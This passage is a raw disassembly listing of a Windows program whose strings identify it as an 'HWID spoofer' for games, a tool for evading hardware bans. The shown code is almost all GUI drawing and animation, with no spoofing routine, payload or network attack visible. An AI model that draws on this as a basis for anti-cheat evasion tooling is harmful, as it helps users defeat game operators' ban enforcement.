mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x7526
lea rdx, [0x140165540]
call fcn.14003a240
lea rax, [0x14016e2c0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x3f32
lea rdx, [0x140157d30]
call fcn.14003a240
lea rax, [0x14016e2f0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x57ef
lea rdx, [0x14013e160]
call fcn.14003a240
lea rax, [0x14016e2e8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x1abc
lea rdx, [0x14014a7b0]
call fcn.14003a240
lea rax, [0x14016e2a8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x40ab
lea rdx, [0x1401342b0]
call fcn.14003a240
lea rax, [0x14016e298]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x3f9e
lea rdx, [0x14014c290]
call fcn.14003a240
lea rax, [0x14016e2d0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x5da8
lea rdx, [0x140138360]
call fcn.14003a240
cmp dword [rbp + 0xde0], 0x12
je 0x140041831
lea rsi, str.Welcome_to_the_best_HWID_SPOOFER
movss xmm14, dword [0x1400d966c]
movss xmm9, dword [0x1400d956c]
movss xmm12, dword [0x1400d95c8]
movss xmm15, dword [0x1400d95e0]
nop word [rax + rax]
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xdd8]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14003d24c
lea rcx, [rbp + 0xdd8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xdd8]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x140041816
cmp qword [0x140171dc0], 0
jne 0x14003d265
cmp qword [0x140171dd0], 0
je 0x14003d265
call fcn.14001bf20
mov rbx, qword [0x1400ee0d0]
lea rdx, [rbp + 0xd38]
mov rcx, qword [0x140171de0]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0xd40]
sub eax, dword [rbp + 0xd38]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov eax, dword [rbp + 0xd44]
sub eax, dword [rbp + 0xd3c]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 8], xmm1
movss dword [rbx + 0xc], xmm0
lea rcx, [rbp + 0xdb0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp + 0xdb0]
sub rax, qword [0x140171de8]
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x140171df0]
divss xmm1, xmm0
movss dword [rbx + 0x10], xmm1
mov rax, qword [rbp + 0xdb0]
mov qword [0x140171de8], rax
mov ecx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x11d], al
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x11e], al
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x11f], al
mov byte [rbx + 0x120], 0
cmp byte [rbx + 0x11c], 0
je 0x14003d350
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursor]
call fcn.1400037b0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140041898
mov rax, qword [0x1400ee0d0]
mov rbx, qword [rax + 0x1790]
movss xmm6, dword [rax + 0x1798]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rsi
movss xmm0, dword [0x1400d96d0]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x1400d96c4]
movaps xmm2, xmm6
lea rdx, [rbp + 0x18]
mov rcx, rbx
call fcn.14001a370
movss xmm0, dword [rbp + 0x18]
comiss xmm0, xmm7
jbe 0x14003d3b9
divss xmm6, dword [rbx]
subss xmm0, xmm6
addss xmm0, dword [0x1400d959c]
cvttss2si eax, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x18], xmm0
movss xmm8, dword [0x1400d96b8]
subss xmm8, xmm0
mulss xmm8, dword [0x1400d9588]
movss xmm0, dword [0x14013e130]
cmp byte [0x14013e134], 0
jne 0x14003d429
ucomiss xmm0, xmm14
jp 0x14003d401
je 0x14003d429
mov byte [0x14013e134], 0
comiss xmm0, xmm14
jae 0x14003d420
addss xmm0, dword [0x14013e138]
movss dword [0x14013e130], xmm0
jmp 0x14003d44e
mov byte [0x14013e134], 1
jmp 0x14003d44e
mov byte [0x14013e134], 1
comiss xmm7, xmm0
jae 0x14003d447
subss xmm0, dword [0x14013e138]
movss dword [0x14013e130], xmm0
jmp 0x14003d44e
mov byte [0x14013e134], 0
movss xmm0, dword [0x14013e108]
cmp byte [0x14013e10c], 0
jne 0x14003d48f
ucomiss xmm0, xmm14
jp 0x14003d467
je 0x14003d48f
mov byte [0x14013e10c], 0
comiss xmm0, xmm14
jae 0x14003d486
addss xmm0, dword [0x14013e110]
movss dword [0x14013e108], xmm0
jmp 0x14003d4b4
mov byte [0x14013e10c], 1
jmp 0x14003d4b4
mov byte [0x14013e10c], 1
comiss xmm7, xmm0
jae 0x14003d4ad
subss xmm0, dword [0x14013e110]
movss dword [0x14013e108], xmm0
jmp 0x14003d4b4
mov byte [0x14013e10c], 0
movss xmm0, dword [0x14013e140]
cmp byte [0x14013e144], 0
jne 0x14003d4f5
ucomiss xmm0, xmm14
jp 0x14003d4cd
je 0x14003d4f5
mov byte [0x14013e144], 0
comiss xmm0, xmm14
jae 0x14003d4ec
addss xmm0, dword [0x14013e148]
movss dword [0x14013e140], xmm0
jmp 0x14003d51a
mov byte [0x14013e144], 1
jmp 0x14003d51a
mov byte [0x14013e144], 1
comiss xmm7, xmm0
jae 0x14003d513
subss xmm0, dword [0x14013e148]
movss dword [0x14013e140], xmm0
jmp 0x14003d51a
mov byte [0x14013e144], 0
movss xmm0, dword [0x14014c270]
cmp byte [0x14014c274], 0
jne 0x14003d55b
ucomiss xmm0, xmm14
jp 0x14003d533
je 0x14003d55b
mov byte [0x14014c274], 0
comiss xmm0, xmm14
jae 0x14003d552
addss xmm0, dword [0x14014c278]
movss dword [0x14014c270], xmm0
jmp 0x14003d580
mov byte [0x14014c274], 1
jmp 0x14003d580
mov byte [0x14014c274], 1
comiss xmm7, xmm0
jae 0x14003d579
subss xmm0, dword [0x14014c278]
movss dword [0x14014c270], xmm0
jmp 0x14003d580
mov byte [0x14014c274], 0
movss xmm1, dword [0x140157d18]
cmp byte [0x140157d1c], 0
jne 0x14003d5c7
movss xmm0, dword [0x140157d28]
ucomiss xmm1, xmm0
jp 0x14003d5a0
je 0x14003d5c7
mov byte [0x140157d1c], 0
comiss xmm1, xmm0
jae 0x14003d5be
addss xmm1, dword [0x140157d20]
movss dword [0x140157d18], xmm1
jmp 0x14003d5f4
mov byte [0x140157d1c], 1
jmp 0x14003d5f4
mov byte [0x140157d1c], 1
movss xmm0, dword [0x140157d24]
comiss xmm0, xmm1
jae 0x14003d5ed
subss xmm1, dword [0x140157d20]
movss dword [0x140157d18], xmm1
jmp 0x14003d5f4
mov byte [0x140157d1c], 0
movss xmm1, dword [0x14013e118]
cmp byte [0x14013e11c], 0
jne 0x14003d63b
movss xmm0, dword [0x14013e128]
ucomiss xmm1, xmm0
jp 0x14003d614
je 0x14003d63b
mov byte [0x14013e11c], 0
comiss xmm1, xmm0
jae 0x14003d632
addss xmm1, dword [0x14013e120]
movss dword [0x14013e118], xmm1
jmp 0x14003d668
mov byte [0x14013e11c], 1
jmp 0x14003d668
mov byte [0x14013e11c], 1
movss xmm0, dword [0x14013e124]
comiss xmm0, xmm1
jae 0x14003d661
subss xmm1, dword [0x14013e120]
movss dword [0x14013e118], xmm1
jmp 0x14003d668
mov byte [0x14013e11c], 0
movss xmm1, dword [0x1401521e0]
cmp byte [0x1401521e4], 0
jne 0x14003d6af
movss xmm0, dword [0x1401521f0]
ucomiss xmm1, xmm0
jp 0x14003d688
je 0x14003d6af
mov byte [0x1401521e4], 0
comiss xmm1, xmm0
jae 0x14003d6a6
addss xmm1, dword [0x1401521e8]
movss dword [0x1401521e0], xmm1
jmp 0x14003d6dc
mov byte [0x1401521e4], 1
jmp 0x14003d6dc
mov byte [0x1401521e4], 1
movss xmm0, dword [0x1401521ec]
comiss xmm0, xmm1
jae 0x14003d6d5
subss xmm1, dword [0x1401521e8]
movss dword [0x1401521e0], xmm1
jmp 0x14003d6dc
mov byte [0x1401521e4], 0
mov dword [rbp + 0x20], 0x44480000
mov dword [rbp + 0x24], 0x44160000
mov dword [rsp + 0x20], 0x13e
movaps xmm3, xmm10
lea r8, [rbp + 0x20]
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [0x1400c8816]
call fcn.140007250
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
movss xmm7, dword [rax + 0x1c]
movss xmm6, dword [rax + 0x20]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9664]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d960c]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
mov rcx, qword [rbp + 0x4d0]
call fcn.14000a8c0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
cvtps2pd xmm11, xmm6
cvtps2pd xmm13, xmm7
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str._Saytus_Spoofer
lea rcx, [rsp + 0x60]
call fcn.14000acf0
call fcn.14000a9e0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
mov rbx, qword [rax + 0x290]
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x378], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x37c], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x380], xmm0
movss dword [rbp + 0x384], xmm10
mov dword [rbp + 0x28], 0x43340000
mov dword [rbp + 0x2c], 0x42340000
mov dword [rbp + 0x30], 0
mov dword [rbp + 0x34], 0x42340000
lea rcx, [rbp + 0x378]
call fcn.140002c10
mov r9d, eax
movss dword [rsp + 0x20], xmm10
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x30]
mov rcx, rbx
call fcn.1400171c0
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x388], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x38c], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x390], xmm0
movss dword [rbp + 0x394], xmm10
mov dword [rbp + 0x38], 0x44610000
mov dword [rbp + 0x3c], 0x42340000
mov dword [rbp + 0x40], 0x44200000
mov dword [rbp + 0x44], 0x42340000
lea rcx, [rbp + 0x388]
call fcn.140002c10
mov r9d, eax
movss dword [rsp + 0x20], xmm10
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x40]
mov rcx, rbx
call fcn.1400171c0
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x398], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x39c], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x3a0], xmm0
movss dword [rbp + 0x3a4], xmm10
mov dword [rbp + 0x48], 0x44610000
mov dword [rbp + 0x4c], 0x42820000
mov dword [rbp + 0x50], 0
mov dword [rbp + 0x54], 0x42820000
lea rcx, [rbp + 0x398]
call fcn.140002c10
mov r9d, eax
movss dword [rsp + 0x20], xmm10
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x50]
mov rcx, rbx
call fcn.1400171c0
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x3a8], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x3ac], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x3b0], xmm0
movss dword [rbp + 0x3b4], xmm10
mov dword [rbp + 0x58], 0x44610000
mov dword [rbp + 0x5c], 0x428c0000
mov dword [rbp + 0x60], 0
mov dword [rbp + 0x64], 0x428c0000
lea rcx, [rbp + 0x3a8]
call fcn.140002c10
mov r9d, eax
movss xmm0, dword [0x1400d95c4]
movss dword [rsp + 0x20], xmm0
lea r8, [rbp + 0x58]
lea rdx, [rbp + 0x60]
mov rcx, rbx
call fcn.1400171c0
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x3b8], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x3bc], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x3c0], xmm0
movss dword [rbp + 0x3c4], xmm10
mov dword [rbp + 0x68], 0x44610000
mov dword [rbp + 0x6c], 0x42960000
mov dword [rbp + 0x70], 0
mov dword [rbp + 0x74], 0x42960000
lea rcx, [rbp + 0x3b8]
call fcn.140002c10
mov r9d, eax
movss dword [rsp + 0x20], xmm10
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x70]
mov rcx, rbx
call fcn.1400171c0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
mov dword [rax + 0x288], 0x3f800000
mov eax, dword [rcx + 0x179c]
mov dword [rcx + 0x1798], eax
movss xmm0, dword [0x1400d96d0]
call fcn.14000a820
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x60]
addss xmm1, xmm8
movss dword [rax + 0xc0], xmm1
movss xmm0, dword [rax + 0xd8]
maxss xmm0, xmm1
movss dword [rax + 0xd8], xmm0
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9668]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d962c]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
mov rcx, qword [rbp + 0x218]
call fcn.14000a8c0
cvttss2si eax, dword [0x140157d18]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movaps xmm1, xmm10
shufps xmm1, xmm1, 0xe1
movss xmm1, xmm10
shufps xmm1, xmm1, 0xc6
movss xmm1, xmm10
shufps xmm1, xmm1, 0x27
movss xmm1, xmm0
shufps xmm1, xmm1, 0x39
movups xmmword [rsp + 0x60], xmm1
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.Select_a_Game_to_Spoof
lea rcx, [rsp + 0x60]
call fcn.14000acf0
lea rcx, [0x1400c8816]
call fcn.14000ac70
call fcn.14000a9e0
mov dword [rsp + 0x70], 0x42c80000
mov dword [rsp + 0x74], 0x42c80000
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d95ec]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
movss xmm6, dword [0x1400d9654]
addss xmm2, xmm6
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cmp r15d, 1
je 0x14003def8
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x3c8], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x3cc], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x3d0], xmm0
cvttss2si eax, dword [0x14013e118]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x3d4], xmm1
lea rcx, [rbp + 0x3c8]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003de94
mov dword [rbp + 0x78], 0x42e90000
mov dword [rbp + 0x7c], 0x43668000
mov dword [rbp + 0x80], 0x41780000
mov dword [rbp + 0x84], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rbx + 0x70]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rbx + 0x74]
test ecx, ecx
jns 0x14003de91
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
lea rcx, [rbx + 0x70]
call fcn.14000d280
mov dword [rbx + 0x70], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0xa50], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0xa60], xmm1
mov dword [rbp + 0x88], 0x3f800000
mov dword [rbp + 0x8c], 0x3f800000
mov qword [rbp + 0x90], 0
lea rax, [rbp + 0xa50]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xa60]
lea r9, [rbp + 0x88]
lea r8, [rbp + 0x90]
mov rcx, qword [0x14016e300]
jmp 0x14003e039
movss dword [rbp + 0x3d8], xmm10
movss dword [rbp + 0x3dc], xmm10
movss dword [rbp + 0x3e0], xmm10
cvttss2si eax, dword [0x140157d18]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x3e4], xmm0
lea rcx, [rbp + 0x3d8]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003dfda
mov dword [rbp + 0x98], 0x42e90000
mov dword [rbp + 0x9c], 0x43668000
mov dword [rbp + 0xa0], 0x41780000
mov dword [rbp + 0xa4], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x98]
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rbx + 0x70]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rbx + 0x74]
test ecx, ecx
jns 0x14003dfd7
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
lea rcx, [rbx + 0x70]
call fcn.14000d280
mov dword [rbx + 0x70], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x8d0], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0x8e0], xmm1
mov dword [rbp + 0xa8], 0x3f800000
mov dword [rbp + 0xac], 0x3f800000
mov qword [rbp + 0x1a0], 0
lea rax, [rbp + 0x8d0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x8e0]
lea r9, [rbp + 0xa8]
lea r8, [rbp + 0x1a0]
mov rcx, qword [0x14016e2a0]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x70]
call fcn.14000c0b0
call fcn.140006ae0
test al, al
mov eax, 1
cmovne r15d, eax
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
cmp byte [rax + 0x10c], 0
je 0x14003e08c
mov edx, 0x7f89
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9660]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, xmm6
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cmp r15d, 2
je 0x14003e286
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x3e8], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x3ec], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x3f0], xmm0
cvttss2si eax, dword [0x14013e118]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x3f4], xmm1
lea rcx, [rbp + 0x3e8]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003e222
mov dword [rbp + 0xb8], 0x43798000
mov dword [rbp + 0xbc], 0x43668000
mov dword [rbp + 0xc0], 0x43148000
mov dword [rbp + 0xc4], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0xb8]
lea rdx, [rbp + 0xc0]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rbx + 0x70]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rbx + 0x74]
test ecx, ecx
jns 0x14003e21f
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
lea rcx, [rbx + 0x70]
call fcn.14000d280
mov dword [rbx + 0x70], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x8f0], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0x900], xmm1
mov dword [rbp + 0xc8], 0x3f800000
mov dword [rbp + 0xcc], 0x3f800000
mov qword [rbp + 0xd0], 0
lea rax, [rbp + 0x8f0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x900]
lea r9, [rbp + 0xc8]
lea r8, [rbp + 0xd0]
mov rcx, qword [0x14016e2b8]
jmp 0x14003e3c7
movss dword [rbp + 0x3f8], xmm10
movss dword [rbp + 0x3fc], xmm10
movss dword [rbp + 0x400], xmm10
cvttss2si eax, dword [0x140157d18]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x404], xmm0
lea rcx, [rbp + 0x3f8]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14003e368
mov dword [rbp + 0xd8], 0x43798000
mov dword [rbp + 0xdc], 0x43668000
mov dword [rbp + 0xe0], 0x43148000
mov dword [rbp + 0xe4], 0x43018000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0xd8]
lea rdx, [rbp + 0xe0]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm15
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rbx + 0x70]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rbx + 0x74]
test ecx, ecx
jns 0x14003e365
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
lea rcx, [rbx + 0x70]
call fcn.14000d280
mov dword [rbx + 0x70], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x910], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0x920], xmm1
mov dword [rbp + 0xe8], 0x3f800000
mov dword [rbp + 0xec], 0x3f800000
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0x910]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x920]
lea r9, [rbp + 0xe8]
lea r8, [rbp + 0xf0]
mov rcx, qword [0x14016e2b0]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x70]
call fcn.14000c0b0
call fcn.140006ae0
test al, al
mov eax, 2
cmovne r15d, eax
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
cmp byte [rax + 0x10c], 0
je 0x14003e41a
mov edx, 0x7f89
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9678]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, xmm6
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cmp r15d, 3
je 0x14003e614
cvttss2si eax, dword [0x14013e108]
